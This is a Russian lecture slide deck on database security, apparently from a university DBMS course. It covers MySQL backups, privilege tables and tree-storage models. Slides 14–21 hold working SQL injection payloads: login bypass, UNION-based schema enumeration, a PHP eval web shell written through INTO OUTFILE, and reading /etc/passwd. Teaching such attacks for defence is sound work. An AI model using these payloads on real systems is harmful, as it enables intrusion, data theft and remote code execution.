 
PostgreSQL Streaming Replication
PostgreSQL Streaming ReplicationPostgreSQL Streaming Replication
PostgreSQL Streaming Replication
 
HPE adaptive backup and recovery
HPE adaptive backup and recoveryHPE adaptive backup and recovery
HPE adaptive backup and recovery
 
бэкап баз данных Oracle c помощью handy backup, март 2014
бэкап баз данных Oracle c помощью handy backup, март 2014бэкап баз данных Oracle c помощью handy backup, март 2014
бэкап баз данных Oracle c помощью handy backup, март 2014
 
Linuxvirt seminar-csc-2015
Linuxvirt seminar-csc-2015Linuxvirt seminar-csc-2015
Linuxvirt seminar-csc-2015
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Symantec Backup Exec 2014 vs. Acronis Backup And Recovery 11.5
Symantec Backup Exec 2014 vs. Acronis Backup And Recovery 11.5Symantec Backup Exec 2014 vs. Acronis Backup And Recovery 11.5
Symantec Backup Exec 2014 vs. Acronis Backup And Recovery 11.5
 
2014.12.23 Александр Андреев, Parallels
2014.12.23 Александр Андреев, Parallels2014.12.23 Александр Андреев, Parallels
2014.12.23 Александр Андреев, Parallels
 
Как обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииКак обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендации
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
 
еще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийеще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложений
 
Пакетное ядро мобильного оператора: ASR5k, поиски устранение неисправностей
Пакетное ядро мобильного оператора: ASR5k, поиски устранение неисправностейПакетное ядро мобильного оператора: ASR5k, поиски устранение неисправностей
Пакетное ядро мобильного оператора: ASR5k, поиски устранение неисправностей
 
как из трех стоек сделать две.
как из трех стоек сделать две.как из трех стоек сделать две.
как из трех стоек сделать две.
 
Система резервного копирования OpenLUN backup v1.2.1
Система резервного копирования OpenLUN backup v1.2.1Система резервного копирования OpenLUN backup v1.2.1
Система резервного копирования OpenLUN backup v1.2.1
 
(1 часть) 1С-Битрикс. Как настроить двухуровневую конфигурацию веб-приложения...
(1 часть) 1С-Битрикс. Как настроить двухуровневую конфигурацию веб-приложения...(1 часть) 1С-Битрикс. Как настроить двухуровневую конфигурацию веб-приложения...
(1 часть) 1С-Битрикс. Как настроить двухуровневую конфигурацию веб-приложения...
 
05 db server_deployment_ru
05 db server_deployment_ru05 db server_deployment_ru
05 db server_deployment_ru
 
Open source technologies in Microsoft cloud - MS SWIT 2014
Open source technologies in Microsoft cloud - MS SWIT 2014Open source technologies in Microsoft cloud - MS SWIT 2014
Open source technologies in Microsoft cloud - MS SWIT 2014
 

СУБД 2013 Лекция №9 "Безопасность баз данных"

  • 2. Резервное копирование: Зачем? Восстановление после аварии Человек передумал Аудит Тестирование
  • 3. Резервное копирование: Логические резервные копии • Это обычные файлы, которые можно обрабатывать с помощью стандартных текстовых редакторов • Из них легко восстанавливать данные. Достаточно просто подать файл по конвейеру на вход программы mysql или воспользоваться программой mysqlimport. • Резервное копирование и возврат данных можно выполнять по сети, то есть не на той же машине, где работает сервер MySQL. • Процедуру можно очень гибко настраивать • Они не зависят от подсистемы хранения. • Они могут помочь избежать повреждения данных
  • 4. Резервное копирование: Логические резервные копии • Для их генерации требуется работа сервера, так что процессор загружается сильнее. • В некоторых случаях логические копии оказываются объемнее исходных физических файлов. Зачастую логические копии хорошо поддаются сжатию, но для этого нужно дополнительное процессорное время. • Потеря точности в представлении чисел с плавающей точкой может помешать правильному восстановлению данных из файлов дампа. • Для восстановления данных из логической копии необходимо загружать и интерпретировать команды и перестраивать индексы, что возлагает на сервер еще больше работы.
  • 5. Резервное копирование: Физические резервные копии • Для получения физической копии нужно просто скопировать требуемые файлы в другое место. Никакой дополнительной работы для их генерации выполнять не придется. • Трудоемкость возврата данных из физической копии может быть проще и зависит от подсистемы хранения. В случае MyISAM достаточно просто скопировать файлы в исходное место • Физические копии можно переносить между платформами, операционными системами и версиями MySQL. • Восстановление с физических копий может оказаться быстрее, потому что серверу не нужно выполнять SQL-команды и строить индексы. При наличии таблиц InnoDB, которые не помещаются целиком в память сервера, восстановление данных из физических файлов может быть гораздо быстрее.
  • 6. Резервное копирование: Физические резервные копии • Объем физических файлов InnoDB, как правило, гораздо больше соответствующих логических копий. Обычно в табличном пространстве InnoDB очень много неиспользуемого места. К тому же какое-то пространство отведено под цели, не связанные с хранением табличных данных (буфер вставки, сегмент отката и т. д.). • Не всегда физическую копию можно перенести на другую платформу, операционную систему или версию MySQL. В частности, препятствием может стать чувствительность к регистру букв и формат чисел с плавающей точкой. Перенос файлов в систему с другим форматом чисел с плавающей точкой вообще невозможен.
  • 7. Что копировать? Неочевидные данные Не забудьте о данных, которые не бросаются в глаза, например: двоичные журналы и журналы транзакций InnoDB. Код В частности, триггеры и хранимые процедуры. Конфигурация репликации Для восстановления сервера, участвующего в репликации, следует включать в резервную копию все необходимые для репликации файлы. Конфигурация сервера Если потребуется восстановить данные после настоящей катастрофы. Отдельные файлы операционной системы На UNIX-сервере это могут быть таблицы cron, конфигурация пользователей и групп и правила sudo.
  • 8. Терминология Аутентификация Кто вы такой? Авторизация Что вам разрешено делать? Контроль доступа Какие данные вам разрешено видеть и/или изменять? Привилегии и разрешения Способ представления в MySQL права доступа. Объектные привилегии разрешают доступ к конкретным объектам. Глобальные привилегии позволяют что-то делать с самим сервером
  • 9. Таблицы доступа user В каждой строке хранятся учетные данные пользователя (имя, местоположение и зашифрованный пароль) и его глобальные привилегии. db В каждой строке хранятся привилегии уровня базы данных для одного пользователя. host В каждой строке хранятся привилегии доступа к одной базе данных для пользователя, подключающегося из заданного местоположения. tables_priv В каждой строке хранятся привилегии доступа одного пользователя к одной таблице. columns_priv В каждой строке хранятся привилегии доступа одного пользователя к одному столбцу. procs_priv В каждой строке представлены привилегии доступа одного пользователя к одной хранимой подпрограмме (процедуре или функции).
  • 11. Привелегии GRANT [privileges] ON [objects] TO [user]; GRANT [privileges] ON [objects] TO [user] IDENTIFIED BY [password]; REVOKE [privileges] ON [objects] FROM [user];
  • 12. Виды записей Учетная запись системного администратора GRANT ALL PRIVILEGES ON *.* TO root@localhost IDENTIFIED BY p4ssword WITH GRANT OPTION; Учетные записи администраторов базы данных(АБД) GRANT ALL PRIVILEGES ON *.* TO john@localhost IDENTIFIED BY p4ssword WITH GRANT OPTION; Учетные записи для сотрудников GRANT INSERT,UPDATE PRIVILEGES ON widgets.orders TO tera@%.widgets.example.com IDENTIFIED BY p4ssword; Доступ только для протоколирования GRANT INSERT ON logs.* TO logger@%.widgets.example.com IDENTIFIED BY Резервное копирование GRANT SELECT, LOCK TABLES, FILE ON *.* TO backup@localhost IDENTIFIED BY p4ssword; Эксплуатация и мониторинг GRANT PROCESS, SHUTDOWN on *.* TO noc@monitorserver.noc.widgets.example.com IDENTIFIED BY p4ssword;
  • 13. Отзыв привилегий GRANT SELECT ON *.* TO user; REVOKE SELECT ON sakila.film FROM user; ERROR 1147 (42000): There is no such grant defined for user user on host % on table film REVOKE ALL PRIVILEGES ON...; DROP USER ;
  • 14. SQL-injection Строковой входящий параметр http://xxx/news.php?id=1 SELECT * FROM news WHERE id='$id‘ http://xxx/news.php?id=1’ SELECT * FROM news WHERE id='1'' mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' http://xxx/news.php?id=1’ -- SELECT * FROM news WHERE id='1' -- '
  • 15. SQL-injection Авторизация SELECT * FROM users WHERE login='$login' AND pass='$pass' SELECT * FROM users WHERE login='Admin' -- ' AND pass='123' SELECT * FROM users WHERE login='Admin' AND pass='123' OR login='Admin' -- ' SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin')
  • 16. SQL-injection Оператор LIKE SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123' SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%'
  • 17. SQL-injection Команда UNION SELECT * FROM news WHERE id='1' UNION SELECT 1 -- mysql_query(): The used SELECT statements have a different number of columns http://xxx/news.php?id=1' UNION SELECT 1, 2 -- Ошибка. «The used SELECT statements have a different number of columns» http://xxx/news.php?id=1' UNION SELECT 1,2,3 -- Опять ошибка. http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 -- О! Отобразилось точно также как и http://xxx/news.php?id=1
  • 18. SQL-injection Команда GROUP BY/ORDER BY http://xxx/news.php?id=1' GROUP BY 2 -- http://xxx/news.php?id=1' GROUP BY 10 – mysql_query(): Unknown column '10' in 'group statement' http://xxx/news.php?id=1' GROUP BY 5 – http://xxx/news.php?id=1' GROUP BY 7 – mysql_query(): Unknown column '7' in 'group statement' http://xxx/news.php?id=1' GROUP BY 6 --
  • 19. SQL-injection INFORMATION_SCHEMA http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 0,1 -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 1,1 --
  • 20. SQL-injection INFORMATION_SCHEMA http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 0,1 -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 1,1 --
  • 21. SQL-injection Работа с файлами http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt' -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php' -- http://xxx/news.php?id=-1' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6
  • 24. Список смежных вершин (Adjacency List) Главный недостаток такого подхода — необходимо достоверно знать количество уровней вложенности в вашей иерархии, кроме того, чем больше иерархия, тем больше JOIN'ов — тем ниже производительность. Тем не менее, данный способ обладает и существенными достоинствами — в дерево легко вносить изменения, менять местами и удалять узлы. Данный алгоритм хорошо применим, если вы оперируете с небольшими древовидными структурами, которые часто поддаются изменениям. С другой стороны, этот алгоритм также довольно уверенно себя чувствует и с большими деревьями, если считывать их порциями вида «знаю родителя — прочитать всех наследников». Хороший пример такого случая — динамически подгружаемые деревья. Однако он плохо применим, когда нужно вычитывать какие-либо иные куски дерева, находить пути, предыдущие и следующие узлы при обходе и вычитывать ветки дерева целиком (на всю глубину).
  • 26. Вложенное множество (Nested Set) Вывод — Nested Set действительно хорош, когда нам необходимо считывать структуру деревьев из БД. При этом он одинаково хорош для деревьев любого объема. Тем не менее, для иерархических структур, которые подвергаются частому изменению он, очевидно, не будет являться оптимальным выбором.
  • 28. Материализованный путь (Materialized Path) Во-первых, по сравнению с Nested Set, он более поддается изменениям. В то же время остается достаточно удобным для выборки деревьев целиком и их частей. Но, и он не идеален. Особенно по части поиска предков ветки. Использование именно этого алгоритма может быть заметно удобнее, для деревьев, над которыми часто выполняются как операции чтения, так и изменения. Алгоритм довольно уверенно себя чувствует на достаточно больших объемах данных. Наиболее неприятной в данном алгоритме будет операция вставки узла в середину уже существующей структуры и перенос одной ветки в другую. А вот удаление, добавление в конец или изменение узла — это операции довольно простые, и, как правило, не вызывают сложностей в данной модели.
  • 29. Комбинированный подход По сути вопроса следует отметить, что скомбинировать приведенные методы можно лишь в двух направлениях: • Списки смежности + материализованный путь (Adjacency List + Materialized Path) • Списки смежности + вложенные множества (Adjacency List + Nested Set) Комбинировать же Nested Set и Materialized Path особого смысла не имеет, т.к. существенного выигрыша ни в чтении, ни в записи вы не получите.
  • 30. AL+MP Для AL при использовании с MP: • Улучшаются операции выборки ветвей и поддеревьев целиком • Ухудшаются операции переноса ветвей Для MP при использовании с AL: • Улучшаются операции выборки наследников заданного узла • Улучшаются операции выборки родителей заданного узла
  • 31. AL+NS Для связки AL+NS взаимовыгодность не столь очевидна. В первую очередь это объясняется тем, что недостатки от проблем изменения узлов дерева в модели NS напрочь убивают в этой сфере все достоинства AL. Это значит, что такую связку следует рассматривать лишь как качественное улучшение поиска родителей и наследников заданного узла в алгоритме NS, а также как повышение надежности самого алгоритма (ключи можно всегда перестроить в случае порчи — информацию о связях хранит AL). Но ведь и это качественное улучшение, хотя и не такое очевидное.
  • 32. Спасибо за внимание Павел Щербинин p.scherbinin@corp.mail.ru